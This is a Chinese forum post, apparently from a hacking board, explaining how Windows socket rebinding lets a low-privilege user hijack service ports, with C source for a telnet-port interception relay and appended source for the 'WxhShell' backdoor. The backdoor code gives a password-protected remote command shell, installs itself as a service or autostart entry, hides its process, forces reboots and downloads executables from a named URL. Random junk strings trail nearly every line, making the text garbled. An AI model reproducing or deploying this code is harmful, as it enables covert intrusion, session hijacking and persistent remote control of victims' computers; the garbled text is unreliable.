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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $9PscubM4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j" ~gEGfK  
TBr@F|RXiO  
  saddr.sin_family = AF_INET; )|Xi:Zd5>  
*c{X\!YBh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,5J}Wo?Q}  
,#blY~h8^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @/ G$ C9<  
Ow f:Kife  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 si,W.9rU  
JV_V2L1Ut  
  这意味着什么?意味着可以进行如下的攻击: F?*ko,  
~Jlo>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kD{qW=Lpn  
, I^:xw_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Xn3 \a81  
e%K oecq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 , 3p$Z  
Hy| X>Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  % >}{SS  
<o:|0=Sw b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "79"SSfOc  
t IO 'ky  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G}ccf%  
*@SZ0   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =lG/A[66  
,'z=cB`+o  
  #include FdFN4{<QZ  
  #include b@  S.  
  #include aZBb@~Y  
  #include    X$(Dem  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dRu|*s  
  int main() Z&[_8Y5j  
  { Ks_B%d  
  WORD wVersionRequested; jGaI6G'N  
  DWORD ret; V<W$ h`  
  WSADATA wsaData; 8DO3L "  
  BOOL val; u>-pg u  
  SOCKADDR_IN saddr; 7f,!xh$  
  SOCKADDR_IN scaddr; j]5mzz~  
  int err; "GY/2;  
  SOCKET s; hUO&rov3@  
  SOCKET sc; Qqn9nO9  
  int caddsize; ro`2IE>  
  HANDLE mt; [zMnlO  
  DWORD tid;   7v{s?h->$  
  wVersionRequested = MAKEWORD( 2, 2 ); #yi&-9B  
  err = WSAStartup( wVersionRequested, &wsaData ); o b,%); m  
  if ( err != 0 ) { yK"T5^o  
  printf("error!WSAStartup failed!\n"); >J,y1jzJ  
  return -1; y3{ F\K  
  } N_^s;Qj  
  saddr.sin_family = AF_INET; B?pNF+?'z  
   8{ooLdpX7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IqrT@jgN-  
E Zh.*u@^r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /.>8e%)  
  saddr.sin_port = htons(23); G}8Zkz@+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;(I')[R "  
  { KYN{Dh]-}  
  printf("error!socket failed!\n"); \[yg f6#[  
  return -1;  roNRbA]  
  } (#?k|e"Y"`  
  val = TRUE; -Mx\W|YK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5@&{%99  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GX-V|hLaGX  
  { 'wm :Xa  
  printf("error!setsockopt failed!\n"); `j)S7KN  
  return -1; Tc.k0n%W:b  
  } _ 0g\g~[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1 |T{RY5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6G0Y,B7&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pS6p}S=1]  
OJ!=xTU%h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8DLj?M>N  
  { Tt\h#E  
  ret=GetLastError(); qGVf! R  
  printf("error!bind failed!\n"); _`-trE.  
  return -1; H.=S08c3kA  
  } F(}~~EtPHo  
  listen(s,2); hw9qnSeRy  
  while(1) 2/F";tc\'  
  { B3C%**~:e  
  caddsize = sizeof(scaddr); B/F6WQdZ  
  //接受连接请求 Svqj@@_f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1~aP)q  
  if(sc!=INVALID_SOCKET) :XFr"aSt  
  { %pG^8Q()   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'JK"3m}nT  
  if(mt==NULL) ]o+5$L,5b  
  { [Zxv&$SQ  
  printf("Thread Creat Failed!\n"); `WRM7  
  break; u/_TR;u= q  
  } ;vuqI5k  
  } xmXuBp:M(R  
  CloseHandle(mt); ' Ih f|;r  
  } w]O [{3"  
  closesocket(s); 0aM&+j\q}  
  WSACleanup(); eEl71  
  return 0; ?%A9}"q]  
  }   tN1xZW:  
  DWORD WINAPI ClientThread(LPVOID lpParam) YM r2|VEU[  
  { P+:DLex  
  SOCKET ss = (SOCKET)lpParam; ? dh  
  SOCKET sc; h"3Mj*s  
  unsigned char buf[4096]; {3`cSm6c  
  SOCKADDR_IN saddr; H5!e/4iz  
  long num; i9koh3R\  
  DWORD val; f>hA+  
  DWORD ret; sOqT*gwr:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i@m@]-2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'zhv#&O  
  saddr.sin_family = AF_INET; L.?QZN%cN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Lvd es.0|  
  saddr.sin_port = htons(23); c]%~X&Tg`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ko{7^]gR  
  { .L@gq/x)  
  printf("error!socket failed!\n"); kt2W7.A 5  
  return -1; \@B 'f  
  } \k 6'[ln  
  val = 100; JnIE6@g<y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,n3e8qd  
  { ZA+w7S3  
  ret = GetLastError(); %E2b{Y;  
  return -1; Y*/e;mG.  
  } aqEmF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  alH6~  
  { ]{| wU.  
  ret = GetLastError(); #w@V!o  
  return -1; bRD-[)  
  } ;-AC}jG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Nsn~mY%  
  { HA74s':FN  
  printf("error!socket connect failed!\n"); 5=&ME(fmV  
  closesocket(sc); x n=#4:f  
  closesocket(ss); FBxg^g%PB@  
  return -1; bae;2| w  
  } 7 !dj&?  
  while(1) :cvT/xhO  
  { [Ob09#B%:5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Du #>y!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5.$/]2VK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K7X*N  
  num = recv(ss,buf,4096,0); 2]]}Xvx4#  
  if(num>0) x[=,$;o+  
  send(sc,buf,num,0); 5PsjGvm.%  
  else if(num==0) -tIye{  
  break; UD=[::##  
  num = recv(sc,buf,4096,0); Kr?<7vMT5  
  if(num>0) D-FT3Culw  
  send(ss,buf,num,0); U+R9bn   
  else if(num==0) sJ{r+wY  
  break; Eh^gR`I  
  } Z((e-T#,  
  closesocket(ss); /dO*t4$@?  
  closesocket(sc); gO{$p q}  
  return 0 ; +%H=+fJ2}  
  } l9e=dV:pH  
aJ@lT&.  
osc A\r  
========================================================== %(|-+cLW+  
PhAD: A  
下边附上一个代码,,WXhSHELL +/ {lz8^,  
jvxCCYXR  
========================================================== BiDyr  
W[sQ_Z1C  
#include "stdafx.h" Jd~Mq9(  
EeH ghq  
#include <stdio.h> H_,4N_hL  
#include <string.h> `n@;%*6/  
#include <windows.h> y|=KrvMHJ  
#include <winsock2.h> 3-oKY*jO  
#include <winsvc.h> $&!|G-0'  
#include <urlmon.h> Nv|0Z'M  
~!M"  
#pragma comment (lib, "Ws2_32.lib") Ls+vWfF=#  
#pragma comment (lib, "urlmon.lib") @+1AYVz(k  
n1aOpz6`  
#define MAX_USER   100 // 最大客户端连接数 D^a(|L3;  
#define BUF_SOCK   200 // sock buffer tt CC] Q  
#define KEY_BUFF   255 // 输入 buffer cltx(C>   
ty:{e]e  
#define REBOOT     0   // 重启 Q+/P>5O/  
#define SHUTDOWN   1   // 关机 F@HJ3O9  
pFV~1W:  
#define DEF_PORT   5000 // 监听端口 xB]^^ NYE=  
xj9xUun  
#define REG_LEN     16   // 注册表键长度 K"hnGYt?  
#define SVC_LEN     80   // NT服务名长度 >^IUS8v  
HGDiwA  
// 从dll定义API |j{]6Nu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?*[35XUd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sl"H!cwF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1|AY&u%fiP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pe>?m^gz[  
}: u-l3e  
// wxhshell配置信息 +md"X@k5*  
struct WSCFG { &;`E3$>  
  int ws_port;         // 监听端口 u#`51Hr$  
  char ws_passstr[REG_LEN]; // 口令 aL&9.L|1 g  
  int ws_autoins;       // 安装标记, 1=yes 0=no jW4>WDN:  
  char ws_regname[REG_LEN]; // 注册表键名 O4:_c-V2  
  char ws_svcname[REG_LEN]; // 服务名 )=bW\=[8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ep0dT3&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E$ &bl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :t;i2Ck  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X<pNc6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rQ6>*0xL_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "!fwIEG  
9]lyV  
}; yjq|8.L[ G  
+\u\BJ!LAJ  
// default Wxhshell configuration F~hH>BH9  
struct WSCFG wscfg={DEF_PORT, P}>>$$b\Yi  
    "xuhuanlingzhe", Eau V  
    1, hy@b/Y![M  
    "Wxhshell", O(9*VoD  
    "Wxhshell", (_+ux1h6^  
            "WxhShell Service", l8 $.k5X  
    "Wrsky Windows CmdShell Service", e\f\CMb  
    "Please Input Your Password: ", c/:k|x  
  1, *~*"p)`<  
  "http://www.wrsky.com/wxhshell.exe", 5*Qzw[[=  
  "Wxhshell.exe" E1`_[=8a9  
    }; pp{GaCi  
U!K#g_}  
// 消息定义模块 ;O 5Iu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dTlEEgR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CC'N"Xb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OECVExb@eH  
char *msg_ws_ext="\n\rExit."; S v#,L8f  
char *msg_ws_end="\n\rQuit."; (H:A|Lw  
char *msg_ws_boot="\n\rReboot..."; tA'5ufj*:  
char *msg_ws_poff="\n\rShutdown..."; Uz[#ye  
char *msg_ws_down="\n\rSave to "; a<>cbP  
#`l&HV   
char *msg_ws_err="\n\rErr!"; =UWW(^M#[:  
char *msg_ws_ok="\n\rOK!"; :f7vGO"t  
='C;^ Bk  
char ExeFile[MAX_PATH]; ,t9CP  
int nUser = 0; tL1\q Qg  
HANDLE handles[MAX_USER]; =NnG[#n%  
int OsIsNt; :Z_abKt  
Ge=\IAj  
SERVICE_STATUS       serviceStatus; ^P A|RFP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L `=*Pwcj  
"?W8 o[c+  
// 函数声明 hhI*2|i"L  
int Install(void); aSJD'u4w.a  
int Uninstall(void); x")Bmw$  
int DownloadFile(char *sURL, SOCKET wsh); (Kg)cc[B`  
int Boot(int flag); /[ Rp~YzW  
void HideProc(void); sb1tQ=u[  
int GetOsVer(void); "T<7j.P?  
int Wxhshell(SOCKET wsl); JS<w43/j  
void TalkWithClient(void *cs); 5$X 8|Ve  
int CmdShell(SOCKET sock); |?MD>Pez  
int StartFromService(void); [ :Sl~  
int StartWxhshell(LPSTR lpCmdLine); nr( C*E  
IlI5xkJ(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sco'] ^#(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y`6<:8[?  
1]A\@(  
// 数据结构和表定义 qF`]}7"^  
SERVICE_TABLE_ENTRY DispatchTable[] = LcNI$g;}Yf  
{ 2 '$nz  
{wscfg.ws_svcname, NTServiceMain}, *#@{&Q(Qh  
{NULL, NULL} 6{g&9~V  
}; |RqCI9N6  
+Q[SddI  
// 自我安装 1-.i^Hal  
int Install(void) Q7UQwAN'  
{ Gf9O\wrs  
  char svExeFile[MAX_PATH]; -$@'@U  
  HKEY key; { Q!Xxe>6  
  strcpy(svExeFile,ExeFile); %N\8!aXnf  
^% Ln@!P  
// 如果是win9x系统,修改注册表设为自启动 ?#nk}=;g8  
if(!OsIsNt) { 2uF'\y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e"p){)*$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R?}%rP+^e  
  RegCloseKey(key); \Il?$Kb/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fl4'dv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W&3,XFnI_  
  RegCloseKey(key); %/!f^PIwX  
  return 0; &b-&0 rTqz  
    } fj9&J[  
  } ;rnhv:Iw  
} 0fV}n:4Pq  
else { ] {0OPU  
Tl?jq]  
// 如果是NT以上系统,安装为系统服务 ]IDhE{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O>" |5 wj  
if (schSCManager!=0) 'I>geW?{QK  
{ A-M6MW  
  SC_HANDLE schService = CreateService %xp 69  
  ( o+- 0`!yj  
  schSCManager, e{^lD.E  
  wscfg.ws_svcname, *fLVzYpo  
  wscfg.ws_svcdisp, 1.Neg|  
  SERVICE_ALL_ACCESS, 1].m4vC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rV*Ri~Vx  
  SERVICE_AUTO_START, M`)3(|4  
  SERVICE_ERROR_NORMAL, $2Bll5!]  
  svExeFile, N~?(<DyZR  
  NULL, sn'E}.uhXH  
  NULL, PM QlJ&  
  NULL, f %q ?  
  NULL, `84,R!  
  NULL 1DH P5q  
  ); H}8kku>7  
  if (schService!=0) ajf(Ii\/  
  { [LV>z  
  CloseServiceHandle(schService); $9W,1wg  
  CloseServiceHandle(schSCManager); :*t5?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F8\JL %  
  strcat(svExeFile,wscfg.ws_svcname); FyChH7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tK 6=F63e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hANe$10=H  
  RegCloseKey(key); CWb*bw0  
  return 0; 1`~.!yd8(  
    } QM7B FS;  
  } $Xs`'>,"  
  CloseServiceHandle(schSCManager); B!4~A{  
} "}S6a?]V  
} 0Ld"df*  
\86NV="U  
return 1; f7;<jj;w7  
} 4MCj*ok<  
F><ficT  
// 自我卸载 NFqGbA|  
int Uninstall(void) h" f_T [  
{ 1=PTiDMJ<*  
  HKEY key; WfYG#!}x  
h&rZR`g  
if(!OsIsNt) {  k =O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {=;<1PykLb  
  RegDeleteValue(key,wscfg.ws_regname); q RRvZhf  
  RegCloseKey(key); @]Ac >&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;R$2+9  
  RegDeleteValue(key,wscfg.ws_regname); cNye@}$lu  
  RegCloseKey(key); ((=T E  
  return 0; v^Rw9*w{  
  } !1Ht{cA0  
} Q^X}7Z|T  
} LG??Q+`l  
else { h-DHIk3/  
'($$-P\/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '1~;^rU  
if (schSCManager!=0) 8d&%H,  
{ b Rr3:"=sE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $weC '-n@  
  if (schService!=0) Y8N+v+V/  
  { MSB/O.  
  if(DeleteService(schService)!=0) { NCgKWyRR  
  CloseServiceHandle(schService); ZKM@U?PK  
  CloseServiceHandle(schSCManager); hoLA*v2<  
  return 0; !lBK!'0  
  } Kq(JHB+  
  CloseServiceHandle(schService); [2!C ^ \t  
  } FrE#l.)?!  
  CloseServiceHandle(schSCManager); 8\jsGN.$JZ  
} 3 rR1/\  
} <,X=M6$0n  
uQ7lC~  
return 1; 7m}fVLk  
} p1W6s0L  
#WS>Z3AY  
// 从指定url下载文件 Qj$w7*U  
int DownloadFile(char *sURL, SOCKET wsh) >*Ej2ex  
{ %/qwqo`Q  
  HRESULT hr; hE<Sm*HU  
char seps[]= "/"; Xg;;< /Z  
char *token; rK|("  
char *file; {qOqtkj  
char myURL[MAX_PATH]; OL_jU2,fv  
char myFILE[MAX_PATH]; lQy-&d|=#^  
#T@k(Bz{L  
strcpy(myURL,sURL); ^;tB,7:*V  
  token=strtok(myURL,seps); hDQk z qW  
  while(token!=NULL) k|{ 4"4r  
  { F!p;]B  
    file=token; dGz4`1(>  
  token=strtok(NULL,seps); UcH#J &r  
  } 5"X@<;H%  
mkrVeBp  
GetCurrentDirectory(MAX_PATH,myFILE); Kmw #Q`  
strcat(myFILE, "\\"); qw>vu7/z  
strcat(myFILE, file); }D.\2x(J  
  send(wsh,myFILE,strlen(myFILE),0); ` U-vXP  
send(wsh,"...",3,0); Et0)6^-v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *adznd  
  if(hr==S_OK) !Ce!D0Tx  
return 0; /Gn0|]KI  
else EVC]B}  
return 1; E0yx @Vx  
^P*-bV4  
} U<E]c 4*  
wNn=JzP  
// 系统电源模块 9X +dp  
int Boot(int flag) 4O/IT1+A  
{ ei{tW3 H$  
  HANDLE hToken; j%Xa8$  
  TOKEN_PRIVILEGES tkp; h=JW^\?\]  
pLys%1hg  
  if(OsIsNt) { 7(a1@VH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y7%SHYC p[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E!BzE_|i  
    tkp.PrivilegeCount = 1; L]u^$=rI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1iNMgA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l2}X\N&q  
if(flag==REBOOT) { Yl:[b{Py  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MvnQUZ  
  return 0; j>uu3ADd2  
} wG9aX*(n  
else { vxLr034  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4>a(!h t  
  return 0; kytHOn#  
} d3S Me  
  } ]61HQ  
  else { Px Gw5:  
if(flag==REBOOT) { #NYHwO<0-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z Tz_"N I  
  return 0; ^8J`*R8CL  
} jzGK(%sw"  
else { 0:<Y@#L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9I;~P &  
  return 0; &43c/T Sb  
} j"aY\cLr t  
} ! K_<hNG&  
V*5v JF0j  
return 1; Xo] 2iQy  
} ^y KkWB*  
s=F[.X9lp  
// win9x进程隐藏模块 DV[FZ  
void HideProc(void) 12m-$/5n+  
{ wfpl]d!  
pe2:~}WB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `j9\]50Z>  
  if ( hKernel != NULL ) VB#&`]r do  
  { k?TZY|_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ('UTjV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hliO/3g  
    FreeLibrary(hKernel); DR:DXJc  
  } 19c_=$mV  
:z&kbG  
return; *hJWuMfY,  
} HLG5SS7  
N N1}P'6Ha  
// 获取操作系统版本 HKI\i)c  
int GetOsVer(void) ) \TH'  
{ b;5j awG  
  OSVERSIONINFO winfo; 6)ln,{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R@s7s%y=  
  GetVersionEx(&winfo); 0Xw>_#Y/xS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cNxxX!P/  
  return 1; M j6,VD9L  
  else kp*!  
  return 0; W Zm8!Y  
} naH(lz|v  
R=D}([pi  
// 客户端句柄模块 X&LJ"ahK  
int Wxhshell(SOCKET wsl) vYb4&VV  
{ O6)Po  
  SOCKET wsh; *AQ3RA8  
  struct sockaddr_in client; zow8 Q6f  
  DWORD myID; 'j, ([  
Z|Rc54Ct  
  while(nUser<MAX_USER) WysWg7,r  
{ 'N+;{8C-{  
  int nSize=sizeof(client); 3*2~#dh=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +$nNYD  
  if(wsh==INVALID_SOCKET) return 1; ~ZSX84~@u  
5X+`aB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0m4M@94  
if(handles[nUser]==0) ej&.tNvq  
  closesocket(wsh); tP*Kt'4W  
else }u3|w0~c)  
  nUser++; rf4f'cUa  
  } fuv{2[N V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3~Fag1Hp  
WQ[n K5#  
  return 0; .BBJhXtrdu  
} R2a99#J  
[BJzZ>cY  
// 关闭 socket Kc2y  
void CloseIt(SOCKET wsh) xatq  
{ +~iiy;i(  
closesocket(wsh); J( XDwt  
nUser--; M.}J SDt  
ExitThread(0); iJ^}{-  
} Gg ~0>XS  
d]O:VghY\  
// 客户端请求句柄 SsW<,T  
void TalkWithClient(void *cs) 2XeyNX  
{ I AwS39B  
' *a}*(0OA  
  SOCKET wsh=(SOCKET)cs; Z^%a 1>`  
  char pwd[SVC_LEN]; .#SgU<Wq  
  char cmd[KEY_BUFF]; DMG'8\5C  
char chr[1]; v"ORn5  
int i,j; B!x#|vGXL  
%E&oe $[B  
  while (nUser < MAX_USER) { `MPR-"Z6  
E9j<+Ik  
if(wscfg.ws_passstr) { FsWp>}o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Ex[}y9L`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y=G`~2Pr=  
  //ZeroMemory(pwd,KEY_BUFF); b:hta\%/2  
      i=0; dX)a D $m  
  while(i<SVC_LEN) { *6AV^^  
iw/~t  
  // 设置超时 '=Zm[P,  
  fd_set FdRead; 1mJUl x  
  struct timeval TimeOut; ):>?N`{V  
  FD_ZERO(&FdRead); 3c6e$/  
  FD_SET(wsh,&FdRead);  mih}?oi  
  TimeOut.tv_sec=8; I1':&l^O  
  TimeOut.tv_usec=0; B//*hH >F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J(d+EjC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  W;7$Dq:  
dFw+nGN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WFahb3kx  
  pwd=chr[0]; -F`GZ  
  if(chr[0]==0xd || chr[0]==0xa) { WJONk_WAc  
  pwd=0; L%Zr3Ct  
  break; qsoq1u,?  
  } X/:V{2  
  i++; Rh~b,"  
    } ANBuX6q  
~%=%5}  
  // 如果是非法用户,关闭 socket KMy"DVqE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GIE QD$vy  
} +W[f>3`VQ  
~$K{E[^<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _xh)]R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ])F+ C/Px1  
@br)m](@  
while(1) { F*J1w|)F0  
d)!'5Zr M  
  ZeroMemory(cmd,KEY_BUFF); V~KWy@7  
O-V] I0  
      // 自动支持客户端 telnet标准   ZKEoU!  
  j=0; H}~K51  
  while(j<KEY_BUFF) { 0~BaQ, A @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Za!KM  
  cmd[j]=chr[0]; A+Isk{d  
  if(chr[0]==0xa || chr[0]==0xd) { :$u[1&6  
  cmd[j]=0; M| Gl&   
  break; J i@q7qkC  
  } 5`fUR/|[  
  j++; bR"4:b>K  
    } 9HFEp-"  
R7(XDX=[ s  
  // 下载文件 kZ@UQ{>`  
  if(strstr(cmd,"http://")) { PUO7Z2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [6RODp3')  
  if(DownloadFile(cmd,wsh)) };rp25i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x1g-@{8]j  
  else LWqKSNE;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uVD^X*  
  } $*X?]?  
  else { f9#srIx+  
o N A ]G]  
    switch(cmd[0]) { >2>/ q?  
  i9Bh<j>:J  
  // 帮助 =\2gnk~  
  case '?': { x#SE%j?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t|oIzjKE/  
    break; [! ;sp~  
  } ;\A_-a_(#  
  // 安装 S+.>{0!S"  
  case 'i': { e?;c9]XO,o  
    if(Install()) 'L3MHTM>[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _XP}f x7$C  
    else BhAT@%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6e\?%,H  
    break; f@!9~s  
    } LyvR].p=5*  
  // 卸载 rlh:| #GTJ  
  case 'r': { F;`c0ja]  
    if(Uninstall()) c0e[vrP:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d`V.i6u  
    else qm/>\4eLt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tQNc+>7k+u  
    break; dr"$@  
    } 5!'1;GLs  
  // 显示 wxhshell 所在路径 M1/(Xla3  
  case 'p': { $ s1/Rmw  
    char svExeFile[MAX_PATH]; CzreX3i  
    strcpy(svExeFile,"\n\r"); 1!)'dL0mI  
      strcat(svExeFile,ExeFile); p8j4Tc5tQ>  
        send(wsh,svExeFile,strlen(svExeFile),0); Jjj;v2uSK  
    break; 40 u tmC  
    } _nz_.w0H9  
  // 重启 2Jiy`(P  
  case 'b': { `Mg3P_}=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pLF,rOb  
    if(Boot(REBOOT)) k1g-%DB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LrO[l0#'Q  
    else { !!ZGNZ_  
    closesocket(wsh); ]vR Ol.  
    ExitThread(0); ~eP~c"L  
    } }@ U}c6/  
    break; $D65&R  
    } rIB./,  
